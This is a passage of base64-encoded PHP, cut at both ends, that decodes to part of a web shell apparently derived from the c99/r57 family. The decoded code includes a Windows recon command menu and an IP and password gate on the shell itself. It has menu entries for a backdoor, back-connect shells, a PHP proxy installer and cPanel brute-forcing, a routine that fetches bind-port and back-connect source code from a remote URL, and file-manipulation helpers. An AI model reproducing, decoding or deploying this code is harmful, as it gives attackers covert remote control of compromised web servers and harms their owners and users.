ycmVudCBkaXIiLCAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIpLA0KICAgIGFycmF5KCJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIsICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiksDQogICAgYXJyYXkoIkZpbmQgcjU3c2hlbGwgaW4gY3VycmVudCBkaXIiLCAiZmluZCAvYyBcInI1N1wiICoiKSwNCiAgICBhcnJheSgiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiLCAibmV0c3RhdCAtYW4iKSwNCiAgICBhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLA0KICAgIGFycmF5KCJVc2VyIGFjY291bnRzIiwgIm5ldCB1c2VyIiksDQogICAgYXJyYXkoIlNob3cgY29tcHV0ZXJzIiwgIm5ldCB2aWV3IiksDQoJYXJyYXkoIlN5c3RlbWluZm8iLCJzeXN0ZW1pbmZvIikgDQogICAgKTsNCn0NCiRwaHBmc2FsaWFzZXMgPSBhcnJheSgNCiAgICBhcnJheSgiUmVhZCBGaWxlIiwgInJlYWQiKSwNCiAgICBhcnJheSgiV3JpdGUgRmlsZSAoUEhQNSkiLCAid3JpdGUiKSwgDQogICAgYXJyYXkoIkNvcHkiLCAiY29weSIpLA0KICAgIGFycmF5KCJSZW5hbWUvTW92ZSIsICJyZW5hbWUiKSwNCiAgICBhcnJheSgiRGVsZXRlIiwgImRlbGV0ZSIpLA0KICAgIGFycmF5KCJNYWtlIERpciIsIm1rZGlyIiksDQogICAgYXJyYXkoIi0tLS0tIiwgIiIpLA0KICAgIGFycmF5KCJEb3dubG9hZCIsICJkb3dubG9hZCIpLA0KICAgIGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwgImRvd25sb2FkYmluIiksDQogICAgYXJyYXkoIkNoYW5nZSBQZXJtICgwNzU1KSIsICJjaG1vZCIpLA0KICAgIGFycmF5KCJGaW5kIFdyaXRhYmxlIERpciIsICJmd3JpdGFibGVkaXIiKSwNCiAgICBhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwgImdsb2IiKSwNCik7DQoNCiRxdWlja2xhdW5jaDIgPSBhcnJheSgNCglhcnJheSgiW0hvbWVdIiwkc3VybC4iPWltZyZpbWc9aG9tZSIpLA0KCWFycmF5KCJbU2VhcmNoXSIsJHN1cmwuIng9c2VhcmNoIiksDQogICAgYXJyYXkoIltBYm91dF0iLCRzdXJsLiJ4PWFib3V0IikNCik7DQokcXVpY2tsYXVuY2gxID0gYXJyYXkoDQogICAgYXJyYXkoIltTZWN1cml0eSBJbmZvXSIsJHN1cmwuIng9c2VjdXJpdHkmZD0lZCIpLA0KICAgIGFycmF5KCJbUHJvY2Vzc2VzXSIsJHN1cmwuIng9cHJvY2Vzc2VzJmQ9JWQiKSwNCiAgICBhcnJheSgiW015U1FMXSIsJHN1cmwuIng9c3FsJmQ9JWQiKSwNCiAgICBhcnJheSgiW1BIUC1Db2RlXSIsJHN1cmwuIng9ZXZhbCZkPSVkIiksDQogICAgYXJyYXkoIltFbmNvZGVyXSIsJHN1cmwuIng9ZW5jb2RlciZkPSVkIiksDQoJYXJyYXkoIltCYWNrZG9vcl0iLCRzdXJsLiJ4PXNoYmQiKQ0KKTsNCiRxdWlja2xhdW5jaDMgPSBhcnJheSgNCglhcnJheSgiW1BIUC1Ub29sc10iLCRzdXJsLiJ4PXBocHRvb2xzIiksDQoJYXJyYXkoIltDcGFuZWwgRmluZGVyXSIsJHN1cmwuIng9Y3BhbmVsIiksDQogICAgYXJyYXkoJ1tQSFB8QmFja2Nvbm5lY3RdJywkc3VybC4neD1waHBiYWNrJyksDQoJYXJyYXkoIltJbnN0YWxsIFBIUCBQcm94eV0iLCRzdXJsLiJ4PXBocHByb3h5IiksDQoJYXJyYXkoIltDcGFuZWwgQnJ1dGVdIiwkc3VybC4ieD1maSIpLA0KCWFycmF5KCJbRG9tYWluOlVzZXJdIiwkc3VybC4ieD11c3Jkb20iKSwNCglhcnJheSgiW0ZpbmQgV1IgZGlyYHNdIiwkc3VybC4ieD1maW5kd3IiKQ0KKTsNCg0KDQokaGlnaGxpZ2h0X2JhY2tncm91bmQgPSAiIzAwMDAwMCI7DQokaGlnaGxpZ2h0X2JnID0gIndoaXRlIjsNCiRoaWdobGlnaHRfY29tbWVudCA9ICIjQ0NDQ0NDIjsNCiRoaWdobGlnaHRfZGVmYXVsdCA9ICJvcmFuZ2UiOw0KJGhpZ2hsaWdodF9odG1sID0gImxpZ2h0Ymx1ZSI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAibGltZSI7DQokaGlnaGxpZ2h0X3N0cmluZyA9ICJyZWQiOw0KDQpAJGYgPSAkX1JFUVVFU1RbImYiXTsNCkBleHRyYWN0KCRfUkVRVUVTVFsiY2Fwcml2OGNvb2siXSk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQokdG1wID0gYXJyYXkoKTsNCmZvcmVhY2ggKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyAkdG1wW10gPSBzdHJfcmVwbGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTsgfQ0KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7DQppZiAoIXByZWdfbWF0Y2goJHMsZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSBhbmQgIXByZWdfbWF0Y2goJHMsZ2V0aG9zdGJ5YWRkcihnZXRlbnYoIlJFTU9URV9BRERSIikpKSkgew0KICBleGl0KCI8YSBocmVmPVwiJHNoX21haW51cmxcIj4kc2hfbmFtZTwvYT46IEFjY2VzcyBEZW5pZWQgLSBZb3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIpIG5vdCBhbGxvd2VkIik7DQp9DQppZiAoIWVtcHR5KCRsb2dpbikpIHsNCiAgaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30NCiAgaWYgKCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbikgb3IgKG1kNSgkX1NFUlZFUlsiUEhQX0FVVEhfUFciXSkgIT0gJG1kNV9wYXNzKSkgew0KICAgIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCIiLiRzaF9uYW1lLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsNCiAgICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQiKTsNCiAgICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiAgfQ0KfQ0KaWYgKCR4ICE9ICJpbWciKSB7DQogICRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgY2hkaXIoJGN1cmRpcik7DQogIGlmICgkc2VsZndyaXRlKSB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgY2Fwcml2OF9nZXR1cGRhdGUoJHNlbGZ3cml0ZSwxKTsNCiAgICBleGl0Ow0KICB9DQogICRzZXNzX2RhdGEgPSB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsiJHNlc3NfY29va2llIl0pOw0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGEpKSB7JHNlc3NfZGF0YSA9IGFycmF5KCk7fQ0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30NCiAgaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhWyJjdXQiXSkpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2FnZXRzb3VyY2UiKSkgew0KICAgIGZ1bmN0aW9uIGNhZ2V0c291cmNlKCRmbikgew0KICAgICAgZ2xvYmFsICRjYXByaXY4X3NvdXJjZXN1cmw7DQogICAgICAkYXJyYXkgPSBhcnJheSgNCiAgICAgICAgImNhcHJpdjhfYmluZHBvcnQucGwiID0+ICJjYXByaXY4X2JpbmRwb3J0X3BsLnR4dCIsDQogICAgICAgICJjYXByaXY4X2JpbmRwb3J0LmMiID0+ICJjYXByaXY4X2JpbmRwb3J0X2MudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmFja2Nvbm4ucGwiID0+ICJjYXByaXY4X2JhY2tjb25uX3BsLnR4dCIsDQogICAgICAgICJjYXByaXY4X2JhY2tjb25uLmMiID0+ICJjYXByaXY4X2JhY2tjb25uX2MudHh0IiwNCiAgICAgICAgImNhcHJpdjhfZGF0YXBpcGUucGwiID0+ICJjYXByaXY4X2RhdGFwaXBlX3BsLnR4dCIsDQogICAgICAgICJjYXByaXY4X2RhdGFwaXBlLmMiID0+ICJjYXByaXY4X2RhdGFwaXBlX2MudHh0IiwNCiAgICAgICk7DQogICAgICAkbmFtZSA9ICRhcnJheVskZm5dOw0KICAgICAgaWYgKCRuYW1lKSB7cmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjYXByaXY4X3NvdXJjZXN1cmwuJG5hbWUpO30NCiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYV9idWZmX3ByZXBhcmUiKSkgew0KICAgIGZ1bmN0aW9uIGNhX2J1ZmZfcHJlcGFyZSgpIHsNCiAgICAgIGdsb2JhbCAkc2Vzc19kYXRhOw0KICAgICAgZ2xvYmFsICR4Ow0KICAgICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY29weSJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30NCiAgICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY3V0Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICAgICAgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogICAgICAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjdXQiXSk7DQogICAgICBzb3J0KCRzZXNzX2RhdGFbImNvcHkiXSk7DQogICAgICBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAgIGlmICgkeCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KICAgICAgZWxzZSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImN1dCJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX19DQogICAgfQ0KICB9DQogIGNhX2J1ZmZfcHJlcGFyZSgpOw0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2Ffc2Vzc19wdXQiKSkgew0KICAgIGZ1bmN0aW9uIGNhX3Nlc3NfcHV0KCRkYXRhKSB7DQogICAgICBnbG9iYWwgJHNlc3NfY29va2llOw0KICAgICAgZ2xvYmFsICRzZXNzX2RhdGE7DQogICAgICBjYV9idWZmX3ByZXBhcmUoKTsNCiAgICAgICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAgICAgICRkYXRhID0gc2VyaWFsaXplKCRkYXRhKTsNCiAgICAgIHNldGNvb2tpZSgkc2Vzc19jb29raWUsJGRhdGEpOw0KICAgIH0NCiAgfQ0KICBmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpIHsNCiAgICBpZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHskJHYgPSAkX0dFVFskdl07fQ0KICAgIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30NCiAgfQ0KICBpZiAoJHNvcnRfc2F2ZSkgew0KICAgIGlmICghZW1wdHkoJHNvcnQpKSB7c2V0Y29va2llKCJzb3J0Iiwkc29ydCk7fQ0KICAgIGlmICghZW1wdHkoJHNxbF9zb3J0KSkge3NldGNvb2tpZSgic3FsX3NvcnQiLCRzcWxfc29ydCk7fQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKSB7DQogICAgZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikgew0KICAgICAgaWYgKHN0cmxlbigkY29udGVudCkgPiAkbGVuKSB7DQogICAgICAgICRsZW4gPSBjZWlsKCRsZW4vMikgLSAyOw0KICAgICAgICByZXR1cm4gc3Vic3RyKCRjb250ZW50LCAwLCRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwtJGxlbik7DQogICAgICB9IGVsc2Uge3JldHVybiAkY29udGVudDt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkgew0KICAgIGZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkgew0KICAgICAgaWYgKCFpc19udW1lcmljKCRzaXplKSkgeyByZXR1cm4gRkFMU0U7IH0NCiAgICAgIGVsc2Ugew0KICAgICAgICBpZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fQ0KICAgICAgICBlbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30NCiAgICAgICAgZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9DQogICAgICAgIGVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30NCiAgICAgICAgcmV0dXJuICRzaXplOw0KICAgICAgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsNCiAgICAgICAgICBpZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgICAgICAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgICByZXR1cm4gVFJVRTsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpIHsNCiAgICBmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkgew0KICAgICAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KICAgICAgaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkpO30NCiAgICAgIGlmIChpc19kaXIoJGQpKSB7DQogICAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICByZXR1cm4gZnNfY29weV9kaXIoJGQsJHQpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmIChpc19maWxlKCRkKSkgeyByZXR1cm4gY29weSgkZCwkdCk7IH0NCiAgICAgIGVsc2UgeyByZXR1cm4gRkFMU0U7IH0NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfZGlyIikpIHsNCiAgICBmdW5jdGlvbiBmc19tb3ZlX2RpcigkZCwkdCkgew0KICAgICAgJGggPSBvcGVuZGlyKCRkKTsNCiAgICAgIGlmICghaXNfZGlyKCR0KSkge21rZGlyKCR0KTt9DQogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgew0KICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgew0KICAgICAgICAgICRyZXQgPSBUUlVFOw0KICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgZWxzZSB7aWYgKG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pIGFuZCBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IEZBTFNFO319DQogICAgICAgICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgICByZXR1cm4gVFJVRTsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfb2JqIikpIHsNCiAgICBmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwkdCkgew0KICAgICAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KICAgICAgaWYgKGlzX2RpcigkZCkpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19tb3ZlX2RpcigkZCwkdCk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7DQogICAgICAgIGlmKGNvcHkoJGQsJHQpKSB7cmV0dXJuIHVubGluaygkZCk7fQ0KICAgICAgICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gRkFMU0U7fQ0KICAgICAgfQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpIHsNCiAgICBmdW5jdGlvbiBmc19ybWRpcigkZCkgew0KICAgICAgJGggPSBvcGVuZGlyKCRkKTsNCiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7DQogICAgICAgICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9DQogICAgICAgICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJtZGlyKCRkKTsNCiAgICAgIHJldHVybiAhaXNfZGlyKCRkKTsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2JqIikpIHsNCiAgICBmdW5jdGlvbiBmc19ybW9iaigkbykgew0KICAgICAgJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOw0KICAgICAgaWYgKGlzX2RpcigkbykpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KICAgICAgfQ0KICAgICAgZWxzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1bmxpbmsoJG8pO30NCiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHsNCiAgICBmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwgJGJbJHZdKTt9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkgew0KICAgIGZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpIHsNCiAgICAgIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICJzIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAibCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICItIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAiYyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICJwIjt9DQogICAgICBlbHNlIHskdHlwZSA9ICI/Ijt9DQogICAgICAkb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKT8iciI6Ii0iOw0KICAgICAgJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApPyJ3IjoiLSI7DQogICAgICAkb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKT8ieCI6Ii0iOw0KICAgICAgJGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCk/InIiOiItIjsNCiAgICAgICRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKT8idyI6Ii0iOw0KICAgICAgJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCk/IngiOiItIjsNCiAgICAgICR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpPyJyIjoiLSI7DQogICAgICAkd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMik/ICJ3IjoiLSI7DQogICAgICAkd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKT8ieCI6Ii0iOw0KICAgICAgaWYgKCRtb2RlICYgMHg4MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQ0KICAgICAgaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQ0KICAgICAgaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQ0KICAgICAgcmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVyKS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRwd3VpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCR1aWQpIHtyZXR1cm4gRkFMU0U7fX0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0Z3JnaWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9raWxsIikgYW5kICFpbl9hcnJheSgicG9zaXhfa2lsbCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2tpbGwoJGdpZCkge3JldHVybiBGQUxTRTt9fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2VfcGVybXMiKSkgew0KICAgIGZ1bmN0aW9uIHBhcnNlX3Blcm1zKCRtb2RlKSB7DQogICAgICBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0ID0gImwiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdCA9ICJiIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQ0KICAgICAgZWxzZSB7JHQgPSAiPyI7fQ0KICAgICAgJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsNCiAgICAgICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7DQogICAgICAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbInciXSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOw0KICAgICAgcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpIHsNCiAgICBmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpIHsNCiAgICAgICRvbmUgPSBpbnR2YWwoJHNvcnQpOw0KICAgICAgJHNlY29uZCA9IHN1YnN0cigkc29ydCwtMSk7DQogICAgICBpZiAoJHNlY29uZCAhPSAiZCIpIHskc2Vjb25kID0gImEiO30NCiAgICAgIHJldHVybiBhcnJheSgkb25lLCRzZWNvbmQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKSB7DQogICAgZnVuY3Rpb24g